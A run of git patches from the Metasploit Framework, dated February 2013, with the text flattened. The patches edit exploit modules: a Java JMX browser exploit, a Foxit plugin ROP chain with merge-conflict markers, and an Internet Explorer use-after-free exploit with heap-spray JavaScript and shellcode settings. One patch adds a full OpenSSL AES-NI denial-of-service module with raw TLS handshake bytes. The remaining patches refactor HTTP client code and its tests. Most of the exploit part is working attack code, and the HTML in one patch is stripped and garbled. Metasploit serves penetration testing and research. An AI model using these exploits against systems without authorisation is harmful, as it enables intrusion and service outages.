00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 01:13:25 +0100 Subject: [PATCH 305/448] multibrowser support --- .../multi/browser/java_jre17_jmxbean_2.rb | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index c448bf968a..e8534ede40 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -122,10 +122,21 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = <<-EOF + + + + EOF return html end From f04df6300a916cd77c6f99d0680a0960a3dbfcdb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 13:44:37 +0100 Subject: [PATCH 306/448] makefile updated --- external/source/exploits/cve-2013-0431/Makefile | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile index 7c77a9c3b4..43045c9e5a 100644 --- a/external/source/exploits/cve-2013-0431/Makefile +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -2,17 +2,21 @@ CLASSES = \ Exploit.java \ - B.java + B.java \ + Serializer.java .SUFFIXES: .java .class .java.class: - javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java all: $(CLASSES:.java=.class) install: + java Serializer mv Exploit.class ../../../../data/exploits/cve-2013-0431/ mv B.class ../../../../data/exploits/cve-2013-0431/ + mv Exploit.ser ../../../../data/exploits/cve-2013-0431/ clean: rm -rf *.class + rm -rf *.ser From e5e47a34851912b24e7974549918e06735f26593 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 21 Feb 2013 10:10:39 -0600 Subject: [PATCH 307/448] Bleh, I fucked up this file --- .../browser/foxit_reader_plugin_url_bof.rb | 31 ------------------- 1 file changed, 31 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index fd2d342952..79df79fbcf 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -96,46 +96,16 @@ class Metasploit3 < Msf::Exploit::Remote return rand_text_alpha(4).unpack("L")[0].to_i end -<<<<<<< HEAD -======= def nops make_nops(4).unpack("N*") end ->>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ -<<<<<<< HEAD - 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] - 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] - 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] - 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] - junk, # Filler (RETN offset compensation) - 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] - 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00001000, # 0x00001000-> edx - 0x1000d9ec, # XOR EDX, EDX # RETN - 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] - jun, # Filler (compensate) - 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - 0x00000040, # 0x00000040-> ecx - 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00000001, # 0x00000001-> ebx - 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] - 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] - 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x90909090, # nop - 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] -======= 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] @@ -161,7 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] nops, 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] ->>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d ].flatten.pack("V*") return rop_gadgets From b4f4cdabbcb017ee9991123f2b915c28a371668f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 20:04:05 +0100 Subject: [PATCH 308/448] cleanup for the module --- .../windows/browser/ie_slayoutrun_uaf.rb | 75 ++++++------------- 1 file changed, 21 insertions(+), 54 deletions(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index a0f8e93dcb..ef77e516e3 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -8,12 +8,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", @@ -25,20 +24,20 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Bell ', # Vulnerability discovery & Metasploit module + 'Scott Bell ' # Vulnerability discovery & Metasploit module ], 'References' => [ [ 'CVE', '2013-0025' ], [ 'MSB', 'MS13-009' ], - [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] ], 'Payload' => { - 'BadChars' => "\x00", - 'Space' => 1024, - 'DisableNops' => true, - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + 'BadChars' => "\x00", + 'Space' => 920, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { @@ -137,44 +136,34 @@ class Metasploit3 < Msf::Exploit::Remote rop_payload << [0x77c39f92].pack("V") # RETN rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset rop_payload << code - end return rop_payload end - def this_resource - r = get_resource - return ( r == '/') ? '' : r - end - def get_exploit(my_target, cli) p = get_payload(my_target, cli) js = heap_spray(my_target, p) - html = %Q| + # def js_property_spray js = %Q|function sprayHeap( oArg ) { - shellcode = oArg.shellcode; - browser = oArg.browser; - offset = oArg.offset; + shellcode = oArg.shellcode; + browser = oArg.browser; + offset = oArg.offset; heapBlockSize = oArg.heapBlockSize; - maxAllocs = oArg.maxAllocs; - objId = oArg.objId; + maxAllocs = oArg.maxAllocs; + objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (objId == undefined) { throw "Missing argument: objId"; } @@ -816,16 +833,18 @@ protected if (maxAllocs == undefined) { maxAllocs = 0x250; } if (browser == undefined) { browser = 'generic'; } + if (offset > 0x800) { throw "Bad alignment"; } + var div_container = document.getElementById(objId); div_container.style.cssText = "display:none"; var data; junk = unescape("%u2020%u2020"); - while (junk.length < 0x1000) junk += junk; + while (junk.length < offset+0x1000) junk += junk; data = junk.substring(0,offset) + shellcode; data += junk.substring(0,0x800-offset-shellcode.length); - while (data.length < 0x80000) data += data; + while (data.length < heapBlockSize) data += data; for (var i = 0; i < maxAllocs; i++) { @@ -849,7 +868,6 @@ protected case 'generic': obj.title = data.substring(0, heapBlockSize-0x58); - obj.style.fontFamily = data.substring(0, heapBlockSize-0x58); div_container.appendChild(obj); break; From e7015985e7234fb6bdde3d2b0a41ed6cfacf1107 Mon Sep 17 00:00:00 2001 From: Wolfgang Ettlinger Date: Wed, 27 Feb 2013 22:57:53 +0100 Subject: [PATCH 376/448] Added CVE-2012-2686 Added Module for a DoS issue in OpenSSL (pre 1.0.1d). Can be exploited with services that use TLS >= 1.1 and AES-NI. Because of improper length computation, an integer underflow occurs leading to a segmentation fault. This module brute-forces serveral encrypted messages - when the decrypted message coincidentally specifies a certain value for the size, the integer underflow occurs. Though this could be accomplished more effectively (e.g. implementing or maninpulating and TLS implementation), this module still does what it should do. --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 169 +++++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 modules/auxiliary/dos/ssl/openssl_aesni.rb diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb new file mode 100644 index 0000000000..d05134f4de --- /dev/null +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -0,0 +1,169 @@ +# auxilary/dos/ssl/openssl_aesni +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', + 'Description' => %q{ + The AES-NI implementation of OpenSSL 1.0.1c does not + properly compute the length of an encrypte message when used + with a TLS version 1.1 or above. This leads to an integer + underflow which can cause a DoS. + }, + 'Author' => [ + 'Wolfgang Ettlinger ' + ], + 'License' => BSD_LICENSE, + 'References' => + [ + [ 'CVE', '2012-2686'], + [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] + ], + 'DisclosureDate' => 'Feb 05 2013')) + + register_options( + [ + Opt::RPORT(443), + OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300]) + ], self.class) + end + + def run + # Client Hello + p1 = + "\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<< + "\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<< + "\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<< + "\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<< + "\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<< + "\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<< + "\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<< + "\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<< + "\x00\x01\x01" + + # Client Key Exchange, Change Cipher Spec, Encrypted Handshake + # AES256-SHA + p2_aes_sha = + "\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<< + "\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<< + "\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<< + "\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<< + "\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<< + "\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<< + "\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<< + "\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<< + "\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<< + "\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<< + "\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<< + "\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<< + "\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<< + "\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<< + "\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<< + "\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<< + "\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<< + "\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<< + "\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<< + "\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<< + "\xdb\x0d\x04\x96\x21\xd2" + + # DHE-RSA-AES256-SHA + p2_dhe_rsa_aes256_sha = + "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<< + "\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<< + "\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<< + "\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<< + "\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<< + "\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<< + "\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<< + "\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<< + "\x3d\xd3\xa2\xff\xb0\x8b" + + # ECDHE-RSA-AES128-SHA + p2_ecdhe_rsa_aes128_sha = + "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<< + "\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<< + "\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<< + "\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<< + "\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<< + "\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<< + "\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<< + "\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<< + "\x89\x09\xe2\x3f\x3e\x1f" + + maxtries = datastore['MAX_TRIES'] + + success = false + + for i in 0..maxtries + print_status("Try \##{i}") + + connect + + sock.put(p1) + resp = sock.recv(4096) + + cs = get_cipher_suite(resp) + + if cs == 0xc013 # ECDHE-RSA-AES128-SHA + p2 = p2_ecdhe_rsa_aes128_sha + elsif cs == 0x0039 # DHE-RSA-AES256-SHA + p2 = p2_dhe_rsa_aes256_sha + elsif cs == 0x0035 # AES256-SHA + p2 = p2_aes_sha + else + print_error("No common ciphers!") + return + end + + sock.put(p2) + + alert = nil + + timeout(2) do + alert = sock.recv(4096) + end + + disconnect + + if alert == '' + print_status("DoS successful. process on #{rhost} did not respond.") + success = true + break + end + end + + if success == false + print_status("DoS unsuccessful.") + end + end + + def get_cipher_suite(resp) + offset = 0 + + while offset < resp.length + type = (resp[offset, 1]).unpack("C")[0] + + if not type == 22 # Handshake + return nil + end + + len = (resp[offset+3, 2]).unpack("n")[0] + hstype = (resp[offset+5, 1]).unpack("C")[0] + + if hstype == 2 + return (resp[offset+44, 2]).unpack("n")[0] + end + + offset += len + end + + end +end + From d5ae54cbb64b3e1db831d07f9840226dd27a228e Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 16:27:37 -0600 Subject: [PATCH 377/448] More accurate docs --- lib/rex/proto/http/client.rb | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index f3073ca530..5402b3ba3e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -254,6 +254,7 @@ class Client # If the request is a 401, and we have creds, it will attempt to complete # authentication and return the final response # + # @return (see #_send_recv) def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] @@ -271,7 +272,7 @@ class Client # Call this directly instead of {#send_recv} if you don't want automatic # authentication handling. # - # @return [Response] + # @return (see #read_response) def _send_recv(req, t = -1, persist=false) @pipeline = persist send_request(req, t) @@ -286,6 +287,7 @@ class Client # @param req [Request,ClientRequest,#to_s] The request to send # @param t (see #connect) # + # @return [void] def send_request(req, t = -1) connect(t) conn.put(req.to_s) @@ -299,6 +301,7 @@ class Client # @param opts [Hash] the options used to generate the original HTTP request # @param t [Fixnum] the timeout for the request in seconds # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) if opts['username'].nil? or opts['username'] == '' @@ -352,15 +355,19 @@ class Client return res end - # Converts username and password into the HTTP Basic - # authorization string. + # Converts username and password into the HTTP Basic authorization + # string. + # + # @return [String] A value suitable for use as an Authorization header def basic_auth_header(username,password) auth_str = username.to_s + ":" + password.to_s auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end # Send a series of requests to complete Digest Authentication + # # @param opts [Hash] the options used to build an HTTP request + # # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) @nonce_count = 0 @@ -495,14 +502,14 @@ class Client end end - # - # Opts - - # Inherits all the same options as send_request_cgi - # provider - What Negotiate Provider to use (supports NTLM and Negotiate) # # Builds a series of requests to complete Negotiate Auth. Works essentially # the same way as Digest auth. Same pipelining concerns exist. # + # @option opts (see #send_request_cgi) + # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use + # + # @return [Response] the last valid HTTP response we received def negotiate_auth(opts={}) ntlm_options = { :signing => false, @@ -608,6 +615,7 @@ class Client # # Read a response from the server # + # @return [Response] def read_response(t = -1, opts = {}) resp = Response.new From 5606db3f9ca93da80aebe24c0a5139f32c9cb951 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 16:28:17 -0600 Subject: [PATCH 378/448] Re-enable some commented tests --- spec/lib/rex/proto/http/client_spec.rb | 29 +++++++++++++++----------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index d216c75325..8dc10b8c46 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -43,8 +43,8 @@ describe Rex::Proto::Http::Client do cli.instance_variable_get(:@context).should == {} cli.instance_variable_get(:@ssl).should be_false cli.instance_variable_get(:@proxies).should be_nil - # cli.instance_variable_get(:@username).should be_empty - # cli.instance_variable_get(:@password).should be_empty + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty cli.config.should be_a_kind_of Hash end @@ -53,7 +53,11 @@ describe Rex::Proto::Http::Client do end it "should produce a CGI HTTP request" do - cli.request_cgi.should be_a_kind_of Rex::Proto::Http::ClientRequest + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + + req.port.should == 80 + req.ssl.should be_false end it "should attempt to connect to a server" do @@ -78,15 +82,16 @@ describe Rex::Proto::Http::Client do end it "should test for credentials" do - # cli.should_not have_creds - # this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - # this_cli.should have_creds - pending "Should actually respond to :has_creds" + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end end it "should send authentication", :pending => excuse_needs_connection - it "should produce a basic authentication header", :pending => "Waiting for #1500" do + it "should produce a basic authentication header" do u = "user1" p = "pass1" b64 = ["#{u}:#{p}"].pack("m*").strip @@ -114,10 +119,10 @@ describe Rex::Proto::Http::Client do end it "should tell if pipelining is enabled" do - cli.pipelining?.should be_false + cli.should_not be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true - this_cli.pipelining?.should be_true + this_cli.should be_pipelining end it "should respond to its various accessors" do @@ -129,8 +134,8 @@ describe Rex::Proto::Http::Client do cli.should respond_to :conn cli.should respond_to :context cli.should respond_to :proxies - # cli.should respond_to :username - # cli.should respond_to :password + cli.should respond_to :username + cli.should respond_to :password cli.should respond_to :junk_pipeline # These are supposed to be protected cli.should respond_to :ssl From 4edd46216f32d4c0009aadf8204b8bb4fcc8af89 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 17:29:26 -0600 Subject: [PATCH 379/448] Refactor config -> opts Puts all the evasion stuff in the same place as regular HTTP options to make it easier to deal with. --- lib/rex/proto/http/client.rb | 3 - lib/rex/proto/http/client_request.rb | 201 ++++++++---------- .../lib/rex/proto/http/client_request_spec.rb | 32 ++- spec/lib/rex/proto/http/client_spec.rb | 2 - 4 files changed, 103 insertions(+), 135 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 5402b3ba3e..b10af20c3c 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -23,7 +23,6 @@ module Http ### class Client - DefaultUserAgent = Rex::Proto::Http::ClientRequest::DefaultUserAgent # # Creates a new client instance @@ -41,8 +40,6 @@ class Client self.config = { 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, - 'version' => '1.1', - 'agent' => DefaultUserAgent, }.merge(Http::ClientRequest::DefaultConfig) self.config_types = { diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 1b55784e99..31933fe5f7 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -14,6 +14,25 @@ class ClientRequest DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" DefaultConfig = { + # + # Regular HTTP stuff + # + 'agent' => DefaultUserAgent, + 'cgi' => true, + 'cookie' => nil, + 'data' => '', + 'headers' => {}, + 'raw_headers' => '', + 'method' => 'GET', + 'path_info' => '', + 'port' => 80, + 'proto' => 'HTTP', + 'ssl' => false, + 'uri' => '/', + 'vars_get' => {}, + 'vars_post' => {}, + 'version' => '1.1', + # # Evasion options # @@ -45,6 +64,7 @@ class ClientRequest 'uri_fake_params_start' => false, # bool 'header_folding' => false, # bool 'chunked_size' => 0, # integer + # # NTLM Options # @@ -61,68 +81,25 @@ class ClientRequest 'DigestAuthIIS' => true } - attr_accessor :authorization - attr_accessor :cgi - attr_accessor :config - attr_accessor :connection - attr_accessor :content_type - attr_accessor :cookie - attr_accessor :data - attr_accessor :headers - attr_accessor :host - attr_accessor :method - attr_accessor :path - attr_accessor :port - attr_accessor :protocol - attr_accessor :query - attr_accessor :raw_headers - attr_accessor :ssl - attr_accessor :uri - attr_accessor :user_agent - attr_accessor :vars_get - attr_accessor :vars_post - attr_accessor :version - attr_reader :opts def initialize(opts={}) - @cgi = (opts['cgi'].nil? ? true : opts['cgi']) - @config = DefaultConfig.merge(opts['client_config'] || {}) - @connection = opts['connection'] - @content_type = opts['ctype'] - @cookie = opts['cookie'] - @data = opts['data'] || "" - @headers = opts['headers'] || {} - @host = opts['vhost'] - @method = opts['method'] || "GET" - @path = opts['path_info'] - @port = opts['port'] || 80 - @protocol = opts['proto'] || "HTTP" - @query = opts['query'] || "" - @ssl = opts['ssl'] - @raw_headers = opts['raw_headers'] || "" - @uri = opts['uri'] - @user_agent = opts['agent'] - @vars_get = opts['vars_get'] || {} - @vars_post = opts['vars_post'] || {} - @version = opts['version'] || "1.1" - @opts = opts - + @opts = DefaultConfig.merge(opts) end def to_s # Start GET query string - qstr = query.dup + qstr = opts['query'] ? opts['query'].dup : "" # Start POST data string - pstr = data.dup + pstr = opts['data'] ? opts['data'].dup : "" - if cgi + if opts['cgi'] uri_str= set_cgi - if (config['pad_get_params']) - 1.upto(config['pad_get_params_count'].to_i) do |i| + if (opts['pad_get_params']) + 1.upto(opts['pad_get_params_count'].to_i) do |i| qstr << '&' if qstr.length > 0 qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) qstr << '=' @@ -130,33 +107,33 @@ class ClientRequest end end - vars_get.each_pair do |var,val| + opts['vars_get'].each_pair do |var,val| qstr << '&' if qstr.length > 0 - qstr << (config['encode_params'] ? set_encode_uri(var) : var) + qstr << (opts['encode_params'] ? set_encode_uri(var) : var) qstr << '=' - qstr << (config['encode_params'] ? set_encode_uri(val) : val) + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) end - if (config['pad_post_params']) - 1.upto(config['pad_post_params_count'].to_i) do |i| + if (opts['pad_post_params']) + 1.upto(opts['pad_post_params_count'].to_i) do |i| rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) pstr << '&' if pstr.length > 0 - pstr << (config['encode_params'] ? set_encode_uri(rand_var) : rand_var) + pstr << (opts['encode_params'] ? set_encode_uri(rand_var) : rand_var) pstr << '=' - pstr << (config['encode_params'] ? set_encode_uri(rand_val) : rand_val) + pstr << (opts['encode_params'] ? set_encode_uri(rand_val) : rand_val) end end - vars_post.each_pair do |var,val| + opts['vars_post'].each_pair do |var,val| pstr << '&' if pstr.length > 0 - pstr << (config['encode_params'] ? set_encode_uri(var) : var) + pstr << (opts['encode_params'] ? set_encode_uri(var) : var) pstr << '=' - pstr << (config['encode_params'] ? set_encode_uri(val) : val) + pstr << (opts['encode_params'] ? set_encode_uri(val) : val) end else uri_str = set_uri - if config['encode'] + if opts['encode'] qstr = set_encode_uri(qstr) end end @@ -166,7 +143,7 @@ class ClientRequest req << set_method_uri_spacer() req << set_uri_prepend() - if config['encode'] + if opts['encode'] req << set_encode_uri(uri_str) else req << uri_str @@ -185,7 +162,7 @@ class ClientRequest req << set_host_header # If an explicit User-Agent header is set, then use that instead of the value of user_agent - unless headers.keys.map{|x| x.downcase }.include?('user-agent') + unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end @@ -197,19 +174,19 @@ class ClientRequest req << set_content_type_header req << set_content_len_header(pstr.length) req << set_chunked_header() - req << raw_headers + req << opts['raw_headers'] req << set_body(pstr) end protected def set_uri - uri_str = uri.dup - if (config['uri_dir_self_reference']) + uri_str = opts['uri'].dup + if (opts['uri_dir_self_reference']) uri_str.gsub!('/', '/./') end - if (config['uri_dir_fake_relative']) + if (opts['uri_dir_fake_relative']) buf = "" uri_str.split('/').each do |part| cnt = rand(8)+2 @@ -222,10 +199,10 @@ class ClientRequest uri_str = buf end - if (config['uri_full_url']) - url = self.ssl ? "https://" : "http://" - url << self.config['vhost'] - url << ((self.port == 80) ? "" : ":#{self.port}") + if (opts['uri_full_url']) + url = opts['ssl'] ? "https://" : "http://" + url << opts['vhost'] + url << ((opts['port'] == 80) ? "" : ":#{opts['port']}") url << uri_str url else @@ -234,12 +211,12 @@ class ClientRequest end def set_cgi - uri_str = uri.dup - if (config['uri_dir_self_reference']) + uri_str = opts['uri'].dup + if (opts['uri_dir_self_reference']) uri_str.gsub!('/', '/./') end - if (config['uri_dir_fake_relative']) + if (opts['uri_dir_fake_relative']) buf = "" uri_str.split('/').each do |part| cnt = rand(8)+2 @@ -254,10 +231,10 @@ class ClientRequest url = uri_str - if (config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << (self.port == 80) ? "" : ":#{self.port}" + if (opts['uri_full_url']) + url = opts['ssl'] ? "https" : "http" + url << opts['vhost'] + url << (opts['port'] == 80) ? "" : ":#{opts['port']}" url << uri_str end @@ -266,24 +243,24 @@ class ClientRequest def 